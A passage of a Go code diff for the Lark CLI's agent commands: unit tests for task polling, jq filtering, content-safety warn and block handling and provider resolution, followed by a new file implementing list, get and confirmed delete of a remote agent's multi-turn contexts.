+				return nil, f.err
+			}
+			i := f.calls
+			if i >= len(f.states) {
+				i = len(f.states) - 1
+			}
+			f.calls++
+			s := f.states[i]
+			return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
+		},
+	}
+}
+
+// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
+func TestPollToStop_ReachesTerminal(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagent.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	if p.calls < 3 {
+		t.Fatalf("should poll at least 3 times, got %d", p.calls)
+	}
+}
+
+// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
+func TestPollToStop_StopsOnInputRequired(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
+	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task.State != iagent.StateInputRequired {
+		t.Fatalf("should stop at input_required, got %s", task.State)
+	}
+}
+
+// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
+// current task with a nil error (exit 0), not a failure.
+func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel() // expire immediately
+	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
+	task, err := pollToStop(ctx, p.provider(), "chat_1")
+	if err != nil {
+		t.Fatalf("timeout should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagent.StateWorking {
+		t.Fatalf("timeout should return the current task, got %+v", task)
+	}
+}
+
+// TestPollToStop_GetTaskError surfaces a provider error.
+func TestPollToStop_GetTaskError(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
+	if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
+		t.Fatal("a GetTask error should propagate")
+	}
+}
+
+// swapSleep replaces the package sleep with a no-op for fast tests.
+func swapSleep() func() {
+	orig := sleep
+	sleep = func(context.Context, time.Duration) bool { return true }
+	return func() { sleep = orig }
+}
+
+// swapSleepCapture replaces the package sleep with a no-op that records every
+// backoff duration it was asked to wait, so tests can assert the exponential /
+// clamp schedule. It always returns true (full duration elapsed).
+func swapSleepCapture(delays *[]time.Duration) func() {
+	orig := sleep
+	sleep = func(_ context.Context, d time.Duration) bool {
+		*delays = append(*delays, d)
+		return true
+	}
+	return func() { sleep = orig }
+}
+
+// swapSleepFalseAt replaces the package sleep with a no-op that returns false
+// (as if ctx were canceled during backoff) on the falseCall-th invocation
+// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
+// branch in isolation without racing a real ctx timeout.
+func swapSleepFalseAt(falseCall int) func() {
+	orig := sleep
+	n := 0
+	sleep = func(context.Context, time.Duration) bool {
+		n++
+		return n != falseCall
+	}
+	return func() { sleep = orig }
+}
+
+// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
+// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
+// captured schedule must never exceed maxDelay and must actually reach it.
+func TestPollToStop_ClampsDelayToMax(t *testing.T) {
+	var delays []time.Duration
+	restore := swapSleepCapture(&delays)
+	defer restore()
+
+	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
+	p := &fakePollProvider{states: []iagent.TaskState{
+		iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
+		iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
+	}}
+	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagent.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
+	if len(delays) != len(want) {
+		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
+	}
+	for i, d := range delays {
+		if d > 5*time.Second {
+			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
+		}
+		if d != want[i] {
+			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
+		}
+	}
+}
+
+// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
+// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
+// sleep, but sleep reports the wait was cut short, so pollToStop returns the
+// most recent task with a nil error (not a failure).
+func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
+	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
+	defer restore()
+
+	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
+	if err != nil {
+		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagent.StateWorking {
+		t.Fatalf("should return the working task observed before interruption, got %+v", task)
+	}
+	if p.calls != 1 {
+		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
+	}
+}
+
+// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
+// returns its value; a command without the flag returns "".
+func TestJqExpr(t *testing.T) {
+	withFlag := &cobra.Command{Use: "get"}
+	withFlag.Flags().String("jq", "", "")
+	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
+		t.Fatal(err)
+	}
+	if got := jqExpr(withFlag); got != ".state" {
+		t.Errorf("with a --jq flag it should return its value, got %q", got)
+	}
+
+	noFlag := &cobra.Command{Use: "list"}
+	if got := jqExpr(noFlag); got != "" {
+		t.Errorf("without a --jq flag it should return empty, got %q", got)
+	}
+}
+
+// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
+// non-empty (required for content-safety scanning to engage) and optionally
+// registers a --jq flag with the given value.
+func newEmitCmd(name, jq string) *cobra.Command {
+	root := &cobra.Command{Use: "lark-cli"}
+	agentGroup := &cobra.Command{Use: "agent"}
+	leaf := &cobra.Command{Use: name}
+	root.AddCommand(agentGroup)
+	agentGroup.AddCommand(leaf)
+	if jq != "" {
+		leaf.Flags().String("jq", "", "")
+		_ = leaf.Flags().Set("jq", jq)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// emitFactory returns a Factory writing to fresh out/err buffers.
+func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{
+		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
+		ResolvedIdentity: core.AsBot,
+	}
+	return f, out, errOut
+}
+
+// csProvider is a content-safety provider stub returning a fixed alert.
+type csProvider struct{ alert *extcs.Alert }
+
+func (p *csProvider) Name() string { return "test" }
+func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
+	return p.alert, nil
+}
+
+// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
+// lands on stdout with ok=true and the identity.
+func TestEmitTask_PlainSuccess(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
+
+	next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
+	if err := emitTask(f, cmd, task, next, "json"); err != nil {
+		t.Fatalf("emit should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK || env.Identity != string(core.AsBot) {
+		t.Errorf("ok/identity mismatch: %+v", env)
+	}
+	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
+		t.Errorf("meta.next should appear in the output: %s", out.String())
+	}
+}
+
+// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
+// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
+// so "meta" is absent from the serialized envelope. Covers both len(next)==0
+// inputs the branch can receive.
+func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
+	for _, tc := range []struct {
+		name string
+		next []output.NextAction
+	}{
+		{"nil next", nil},
+		{"empty non-nil next", []output.NextAction{}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			f, out, _ := emitFactory()
+			cmd := newEmitCmd("task", "")
+			task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
+
+			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
+				t.Fatalf("emit should not error: %v", err)
+			}
+			var env output.Envelope
+			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+			}
+			if env.Meta != nil {
+				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
+			}
+			if strings.Contains(out.String(), `"meta"`) {
+				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
+			}
+		})
+	}
+}
+
+// TestEmitTask_JqFilter routes stdout through a valid jq expression.
+func TestEmitTask_JqFilter(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("jq filtering should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq .data.state should output working, got %q", got)
+	}
+}
+
+// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
+func TestEmitTask_JqFilterError(t *testing.T) {
+	f, _, _ := emitFactory()
+	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
+		t.Fatal("a malformed jq expression should error")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
+// without blocking output.
+func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn mode should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("unmarshal: %v (%s)", err, out.String())
+	}
+	if env.ContentSafetyAlert == nil {
+		t.Error("warn mode should attach the alert to the envelope")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
+// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
+// still filters stdout.
+func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, errOut := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn+jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq output should be working, got %q", got)
+	}
+	if !strings.Contains(errOut.String(), "content safety alert") {
+		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
+	}
+}
+
+// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
+// to stdout.
+func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
+
+	err := emitTask(f, cmd, task, nil, "json")
+	if err == nil {
+		t.Fatal("block mode should return BlockErr")
+	}
+	if !errs.IsContentSafety(err) {
+		t.Errorf("should be a content-safety error, got %T", err)
+	}
+	if out.Len() > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.String())
+	}
+}
+
+// resolveCmd builds an `agent card` command carrying an `--as` flag. When
+// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
+// the passed identity verbatim (needed to exercise the identity-check branch).
+func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agent"}
+	leaf := &cobra.Command{Use: "card"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if asChanged {
+		if err := leaf.Flags().Set("as", asVal); err != nil {
+			t.Fatal(err)
+		}
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// TestResolveProvider_Success resolves a valid example ref under an explicit bot
+// identity and returns a non-nil provider.
+func TestResolveProvider_Success(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
+	if err != nil {
+		t.Fatalf("a valid ref + bot should succeed: %v", err)
+	}
+	if p == nil {
+		t.Fatal("should return a non-nil provider")
+	}
+	if id != core.AsBot {
+		t.Errorf("identity should be bot, got %s", id)
+	}
+}
+
+// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
+// invalid_argument validation error (exit 2).
+func TestResolveProvider_MalformedRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// Hand-written validation errors carry a recovery hint. A malformed ref
+	// teaches the <scheme>:<agent_id> shape.
+	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
+		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
+	}
+}
+
+// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
+func TestResolveProvider_UnknownScheme(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	// An unknown scheme points the caller at `agent list` for discovery.
+	p, _ := errs.ProblemOf(err)
+	if p == nil || !strings.Contains(p.Hint, "agent list") {
+		t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
+	}
+}
+
+// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
+// unsupported --as is explicitly requested; the provider is never constructed.
+func TestResolveProvider_IdentityRejected(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "admin")
+
+	p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
+	if err == nil {
+		t.Fatal("an unsupported identity should error")
+	}
+	if p != nil {
+		t.Error("should not return a provider when identity validation fails")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
+// error) before any provider is built.
+func TestResolveProvider_APIClientError(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
+	cmd := resolveCmd(t, true, "bot")
+
+	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
+		t.Fatal("a Config error should propagate")
+	}
+}
+
+// unconfiguredFactory returns a Factory whose Config() errors (simulating a
+// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
+// pin that the API-free paths never reach the config gate.
+func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
+	t.Helper()
+	f, _, _, _ := cmdutil.TestFactory(t, nil)
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
+	return f
+}
+
+// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
+// regression: the API-free resolution path must NOT touch NewAPIClient, so it
+// succeeds even when Config errors, while the client-backed resolveProvider
+// still fails at the config gate.
+func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
+	if err != nil {
+		t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
+	}
+	if p == nil || id != core.AsBot {
+		t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
+	}
+	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
+		t.Fatal("the client path should error when unconfigured (config gate)")
+	}
+}
+
+// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
+// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
+// it must not be masked by not_configured.
+func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	for _, ref := range []string{"no-colon", "nope:agt_x"} {
+		_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
+		if err == nil {
+			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
+		}
+		if !errs.IsValidation(err) {
+			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
+		}
+	}
+}
+
+// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
+// card` is statically synthesized and must succeed unconfigured, never hitting
+// the config gate.
+func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
+		t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
+	}
+}
+
+// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
+// `agent send --dry-run` is a client-side preview and must succeed
+// unconfigured — the example echo card declares no parameters, so no --param is
+// needed. A malformed --param must still surface as validation, unconfigured.
+func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
+	})
+	if err != nil {
+		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
+	}
+
+	// A malformed --param (no '=') is still a validation error, unconfigured.
+	err = agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
+		Params: []string{"noequals"}, DryRun: true, As: "bot",
+	})
+	if err == nil || !errs.IsValidation(err) {
+		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
+	}
+}

cmd/agent/context.go

@@ -0,0 +1,248 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextOptions holds all inputs for the `agent context list|get|delete`
+// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
+// Ref, As) are wired once; each RunE reads only the fields its verb needs.
+type contextOptions struct {
+	Factory *cmdutil.Factory
+	Cmd     *cobra.Command
+	Ref     string
+	CtxID   string
+	Yes     bool
+	As      string
+	Format  string
+}
+
+// NewCmdAgentContext builds the `agent context` command group: manage a remote
+// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
+// no RunE so an unknown subcommand is reported rather than silently swallowed.
+func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "context",
+		Short: "Manage a remote agent's multi-turn contexts (sessions)",
+		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
+	}
+	cmd.AddCommand(NewCmdAgentContextList(f))
+	cmd.AddCommand(NewCmdAgentContextGet(f))
+	cmd.AddCommand(NewCmdAgentContextDelete(f))
+	return cmd
+}
+
+// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
+// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
+func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's multi-turn contexts",
+		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentContextListRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
+// single context's detail. Risk=read.
+func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <ctx-id>",
+		Short: "Show the detail of a single multi-turn context",
+		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextGetRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
+// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
+// requires --yes; without it the command returns a confirmation_required error
+// (exit 10) before touching the API. Risk=high-risk-write.
+func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "delete <agent_ref> <ctx-id>",
+		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
+		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextDeleteRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
+	return cmd
+}
+
+// agentContextListRun runs `context list`: resolves the provider, lists contexts
+// and emits {contexts:[...]} with meta.count.
+func agentContextListRun(opts *contextOptions) error {
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Capability gate before the API call: multi_turn is derived from ListContexts
+	// being wired, so a provider without it returns unsupported_capability.
+	if p.ListContexts == nil {
+		return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	contexts, err := p.ListContexts(opts.Cmd.Context())
+	if err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		printContextsTSV(f.IOStreams.Out, contexts)
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"contexts": contexts},
+		Meta:     &output.Meta{Count: len(contexts)},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentContextGetRun runs `context get`: resolves the provider, fetches the
+// context detail and emits it.
+func agentContextGetRun(opts *contextOptions) error {
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Capability gate before the API call.
+	if p.GetContext == nil {
+		return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
+	if err != nil {
+		return err
+	}
+	if detail != nil {
+		// Derive IsTerminal from State (single source of truth) for the embedded
+		// task summaries before emission.
+		detail.Tasks = normalizeTaskSummaries(detail.Tasks)
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		printContextDetailPretty(f.IOStreams.Out, detail)
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     detail,
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
+// first so a missing confirmation returns confirmation_required (exit 10) before
+// any provider is built and holds even under a nil Factory. Only a
+// confirmed delete reaches resolveProvider + DeleteContext.
+func agentContextDeleteRun(opts *contextOptions) error {
+	if !opts.Yes {
+		return cmdutil.RequireConfirmation("agent context delete")
+	}
+
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Capability gate before the API call.
+	if p.DeleteContext == nil {
+		return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}

cmd/agent/context_test.go

@@ -0,0 +1,408 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"encoding/json"
